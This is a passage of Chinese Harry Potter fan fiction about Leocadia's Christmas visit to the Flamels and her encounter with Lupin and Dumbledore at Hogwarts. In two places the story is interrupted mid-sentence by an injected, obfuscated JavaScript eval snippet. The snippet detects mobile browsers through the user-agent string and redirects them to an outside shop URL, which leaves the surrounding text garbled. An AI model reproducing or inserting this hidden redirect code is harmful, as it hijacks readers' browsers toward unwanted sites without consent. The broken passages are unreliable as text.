斯内普好不容易用水冲淡了嘴里可怕的甜味,叉子探向最后的莱奥卡蒂亚配方。 斯内普微微睁大眼睛。 出乎意料的,莱奥卡蒂亚的配方没有那么多糖,淡淡的麦香和坚果葡萄干内馅的甜香,还撒了一些黑巧克力豆,更符合斯内普的喜好。 他一手端着碟子,一手写了一张简短的便签。但想了想,还是压在书下,决定等她回英国再给她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594336|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p># 果然如佩雷纳尔所言,尼可·勒梅对莱奥卡蒂亚偷偷喝酒这种事毫不在意。 “我们年轻的时候可没这么多规矩,想喝就喝,我们可是巫师,身体素质比麻瓜好。” 尼可·勒梅的语气听起来挺理所当然的:“但是也只能喝这一杯。” 莱奥卡蒂亚摇晃着高脚杯,里面是浅浅一层金黄的酒液,另一只手抛接着被酒香浸润了几十年的橡木软塞:“这是哪个庄园自己生产的庄园酒吧?桃子、杏,还有花香,好丰富的香气。” 尼可·勒梅笑眯眯地又给她倒了一点:“猜对了,确实是朋友家自己生产的。” 冰酒都是小份量装的,怎么看都很适合一口气喝完。莱奥卡蒂亚深情凝视那细细小小的瓶子:“尼可,我想……” 尼可·勒梅:“不,你不想。快把塞子拿过来。” 莱奥卡蒂亚:“就不就不,嘻嘻。” 最后她还是喝完了一整瓶冰酒。 吃完饭,莱奥卡蒂亚哼着歌收拾好桌面,把碗碟用魔法扔进厨房让它们自己清洗自己。尼可·勒梅和佩雷纳尔对视一眼,拿出自己准备好的礼物,一起推给她。 莱奥卡蒂亚左看看右看看:“不需要在钟声响起的那一刻,或者明天早上再拆吧?我现在就能拆开吧?” “当然能,亲爱的,在这里你想做什么都可以。”佩雷纳尔再次强调。 莱奥卡蒂亚脸上带着微醺的红晕,快乐搓手手。 第一个先拆佩雷纳尔的礼物。 被施了无痕延展咒的匣子只有一本书大,但里面是佩雷纳尔六百年来研究的所有烹饪配方,世界各地的食谱都有,还有许多家政魔法,装订成册。 莱奥卡蒂亚随手翻开一页,甚至看到了玛雅人的食谱。 以及写在首页的如何不炸厨房的小秘诀——找个靠谱的人全程陪同。 ……嘤。 莱奥卡蒂亚郑重地收起来:“我一定会好好练习,争取下次过来的时候摘掉厨房爆破者的称号。” 谁也不想到别人家做客的第一天就不小心把锅烧起火,起码莱奥卡蒂亚不想。 不过往好处想,按照佩雷纳尔的食谱进行训练,说不定她真的能成为一代厨神! 毕竟佩雷纳尔的手艺是真的好,等她学成之后,祖父再也不用担心她一个人生活会饿死在厨房外了! 尼可·勒梅送的礼物则更符合他们的兴趣爱好—— 《炼金术的起源与流变》 是手抄本,这书在霍格沃茨属于禁书区,介于莱奥卡蒂亚跟邓布利多和弗利维旁敲侧击好几回都没能借出来,足够看出来这是本很危险的书。 莱奥卡蒂亚接着酒意跳起来,扑到桌子上,搂着佩雷纳尔和尼可·勒梅的脖子,一人给一个亲亲,大声嚷嚷:“嘿嘿,最喜欢佩利和尼可啦!” 尼可·勒梅看了眼手中的酒瓶:“这也没多少度数吧……” 佩雷纳尔无奈地摸摸她的头:“知道啦知道啦。我们回去睡觉吧。” 莱奥卡蒂亚傻笑:“睡觉,好耶!哦对了,我给你们的礼物要明天早上才可以拆开。” “Merry Christmas~” 44.卢平 圣诞节过后的第五天,距离开学还有五天。 邓布利多办公室的壁炉一声巨响,莱奥卡蒂亚闪亮登场。 “阿不思!我鬼混回来啦!”莱奥卡蒂亚挥开眼前的炉灰,“佩利给我买了好多衣服,我要先把它们放去宿舍,等会儿再借你的壁炉回……哇,这个颜色的袍子真鲜亮。” 大过节的,邓布利多穿了一身更加花哨的红绿相间的袍子,还戴了一顶红色滚毛边的尖顶帽子。 “好看吗?”邓布利多笑眯眯地问。 “好看,再准备几匹驯鹿和马车,你就是圣诞老人了。”莱奥卡蒂亚走到他桌前,点着下巴左右打量,“嗯,只是这个圣诞老人的鼻子是歪的。” “唔,我们总得体谅一个老人家身上不完美的地方。”邓布利多问,“在尼可家玩得高兴吗?” “那当然,只差那么一点点,我就不想回来了。”莱奥卡蒂亚夸张地比划,然后叉腰,“尼可说要是霍格沃茨待不下去了,他随时欢迎我去布斯巴顿!” 颤抖吧阿不思!不对我好一点我就跑路! 邓布利多笑着眯眼:“哇,好可怕的威胁。所以萨卢佐小姐现在比起她的老校长,更喜欢传奇炼金师了吗?” 莱奥卡蒂亚纠结地对手指:“也不一定啦……” 两个老头子的好各有千秋,莱奥卡蒂亚自觉意志力不够坚定,容易被尼可·勒梅的糖衣炮.弹哄得找不到北,还是邓布利多这样不会无底线纵容她的老头子更能让她保持理智。 但尼可·勒梅有佩雷纳尔这个绝世好老婆,怎么想都是尼可·勒梅赢。 毕竟邓布利多的(前)对象不会温柔地唱小夜曲哄她睡觉。 不如说格林德沃那老凤梨头微笑着陪她玩陪她胡闹给她做甜点还会温柔摸她头这种事……想想就让人汗毛倒竖! 莱奥卡蒂亚打了个寒战。 邓布利多看着她的表情变来变去,有一点好奇她在想什么。 幸好送信的猫头鹰打断了他的询问。 莱奥卡蒂亚见邓布利多大过节的还忙忙碌碌,不由得心疼他一秒,拿出一盒她在巴黎买的巧克力:“我让人排了两天队才买到的DEBAUVE&GALLAIS的圣诞限量礼盒。当然,记得保护好自己的牙齿。” 话说巫师也会装假牙吗? 邓布利多开心地拆盒子:“这个你不用担心,健齿魔药还是很有效的。” 莱奥卡蒂亚耸耸肩,回了宿舍一趟,半路还拐去自家院长的办公室。 可惜弗利维不在,她只好把伴手礼挂在他办公室的门把手上。 她顺道绕了绕,发现每个教授都不在。看来主动加班的只有邓布利多一个人,真惨。 但留校的学生挺多的。 莱奥卡蒂亚趴在二楼移动楼梯的栏杆上暗中观察,发现一部分留校的是考前冲刺的高年级拉文克劳,其他大多是出身麻瓜世界的学生。当然,有赫奇帕奇也有格兰芬多,就是没有斯莱特林。 而且就衣服鞋子的磨损程度来看,大概是家境不怎么好的那种。 莱奥卡蒂亚歪头想了想,觉得原因可能出在经济上。 这几年经济越发不景气,连她家的产业都出现了裁员的情况。 好在萨卢佐家的产业遍及全世界的各行各业,还有专业经理人操盘,只要别碰风险大的行业,每年她名下的资产都能只增不减。 这样啊,让孩子回去还要多准备一份不怎么丰盛的饭,不如让孩子在学校里吃个饱。 莱奥卡蒂亚挂在栏杆上,双腿悬空,悠闲地晃着。 不得不说,要当一个合格的资本家还真不容易啊。 就像牧羊一样,既要保证羊群的数量,也要注意别让它们彻底吃光草场。特别是养山羊更要注意,它们会吃草根,但同时也很机警,会注意到狼的出现,所以如果养太多绵羊的话,要适量混养一些山羊呢。 牧羊犬的品种也很重要,边境牧羊犬是最好的,但其他犬种也不错,柯基适合牧牛,雪橇犬可以拉雪橇,猎犬忠诚又有战斗力,还有天性温和的陪伴犬、辅助人类的工作犬…… 啊,想狗了,回去撸狗吧。 莱奥卡蒂亚观察一圈,发现移动楼梯附近没人,于是想直接用结晶魔法跳到对面去。 两点之间,直线最短! 勇敢莱奥,快乐跳楼! 她撑着栏杆,腰部用力一卷,直接踩在扶手上站直身体。 “你这样很危险,快下来!” 莱奥卡蒂亚:啧,被发现了。 转过身,还是个熟人。 莱姆斯·卢平,波特和布莱克的朋友之一,比起那个总是畏畏缩缩的彼得·佩迪鲁,莱奥卡蒂亚觉得还是长相达到80分的卢平顺眼一点。 “怎么?你要告诉城堡管理员,还是教授?”莱奥卡蒂亚双手交握背在身后,微微弯腰,“但在你告密之前,我就会让你说不了话哦。” 没想到卢平只是摇头:“我不会告诉教授和莱斯利先生。” 他满脸焦急,看上去是真的担心她摔下去。 莱奥卡蒂亚微怔,看看这条楼梯要去的方向:“你要去找邓布利多?” “对。总之,这样很危险,你快下来。”卢平不厌其烦地重复。 莱奥卡蒂亚蹲下,朝他勾手:“那你过来扶我一把。” 卢平不疑有他,竟然真的走到她面前,向她伸出双手。 莱奥卡蒂亚伸手抓住他的双臂。 突然嘻嘻一笑。 她站起来的瞬间向后撤步,极强的爆发力直接把偏瘦的棕发男生拽上了栏杆。 卢平:! “你真好骗。”莱奥卡蒂亚满脸惊奇,她后退一步,站在空中,脚下踩着透明的水晶,“正好我也要去邓布利多那里,送你一程。” 卢平:“等……啊!” 他踩在了莱奥卡蒂亚刚刚踩着的位置。 而莱奥卡蒂亚抓着他的手,已经跳到了另一个位置。 她兴奋回头:“怎么了?你恐高吗?” 哈哈,弱点+1,下次打架把他飘天花板上。 卢平深吸一口气:“……不,只是没做好心理准备。为什么我们不走楼梯?” “因为等它移动挺麻烦的。”莱奥卡蒂亚随口回答,“放心吧,不会让你摔下去,但是腿要动起来,我不想拖着人运动。” 她和卢平在空中跑过,透明的水晶铺洒一路,直达三楼最靠近邓布利多办公室入口的一侧。 莱奥卡蒂亚和卢平落在地上,她松开拉着卢平的手,指尖轻点几下,那些水晶就消失不见。 她看着邓布利多办公室入口的那座丑雕像叹气:“每次去邓布利多的办公室都好麻烦啊。” 为什么不能直接在八楼开个门? 不知道为什么脸有点红的卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701351|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平低声说:“谢谢你。” “嗯?哦,没关系。”莱奥卡蒂亚凑近他的脸,“不过,真奇怪……” 总觉得卢平身上有两个声音。 卢平却反应很大,后退一大步,莱奥卡蒂亚抱着研究精神迈步跟上。 直到卢平退无可退,被莱奥卡蒂亚堵在墙角。 “你跑什么?”莱奥卡蒂亚费解地端详满脸通红的卢平,“生病了?要去医疗翼吗?” “你、你能不能,别靠这么近……”卢平声如蚊讷,“我没有生病……” 莱奥卡蒂亚的疑惑快要具象化了,但还是依言离他远了一点:“哦。” 可惜,还是没发现这小子身上有两个声音的原因。 真是奇怪,平常跟卢平对上的时候也没发现他有什么问题啊。 可惜了。 邓布利多不知道从哪冒出来,幽幽地从她们身后探出一张老脸:“莱奥,不要欺负同学。” 莱奥卡蒂亚仰头:“我哪欺负人了,谁主张谁举证,拿出证据来。你这是要出去?” 披着旅行斗篷欸。 “有一些小问题需要解决,但壁炉烧着,足够你回去。”邓布利多揉揉她的头,看向脸色重新苍白下来的卢平,“那么,卢平先生,我们该出发了。” “好的,邓布利多校长。”卢平绕过莱奥卡蒂亚,垂着头站到邓布利多身边。 莱奥卡蒂亚抬手捏捏调试过的耳钉。 其实她放开了一点限制,把屏蔽器调整到了“听不到心声但能感知到情绪”和“可以闻到淡淡的味道但尝不到”的程度。 但哪怕尝不出来,卢平身上的苦涩味也在呈指数上升。 “你不会要带着卢平先生去医院……圣芒戈吧?”莱奥卡蒂亚思索着这个年纪的小孩儿会害怕的东西,“哇,这么一说,那些骗小孩儿打针的邪恶老头是不是就长你这样?” 不知道为什么,这一刻的邓布利多异常高冷,只横她一眼,没说话。 反倒是卢平开口解释:“不是的,邓布利多校长只是……帮我解决一些问题。” 莱奥卡蒂亚啧啧着摇头:“这老头坏心眼得很,”起码现在就在因为什么事儿在闹脾气——难不成格林德沃惹他了?“对了,给你这个。” 莱奥卡蒂亚再次凑近卢平,拉起他的手,在他掌心放下一板锡箔纸包装的巧克力。 “心情不好的时候可以吃点甜的,就当是迟到的圣诞礼物吧。”她笑着说,“当然,你想和朋友们分享也是可以的,祝你们圣诞节快乐。” 哈哈,里面加了泻药,窜死你们。 说完她就轻巧地往后跳开,对着石像说出口令:“那我回家了,阿不思,开学见~” 邓布利多叹了口气才跟她说再见。这老头从刚才开始就莫名其妙得很,但莱奥卡蒂亚选择原谅他。 等莱奥卡蒂亚的身影消失在盘旋的楼梯后,卢平才收回视线,缓缓收紧握着巧克力的手。 邓布利多看上去更忧愁了。 “你说她是懂还是不懂呢?”他轻声嘀咕。 卢平收起巧克力,疑惑地抬头:“不好意思,您刚刚说什么?” 神情变幻莫测的老人也在低头看他。 在某一刻,邓布利多的心情好像突然好了起来,和颜悦色地笑笑。 “没什么。我们走吧,莱姆斯。” “哦,好的校长。”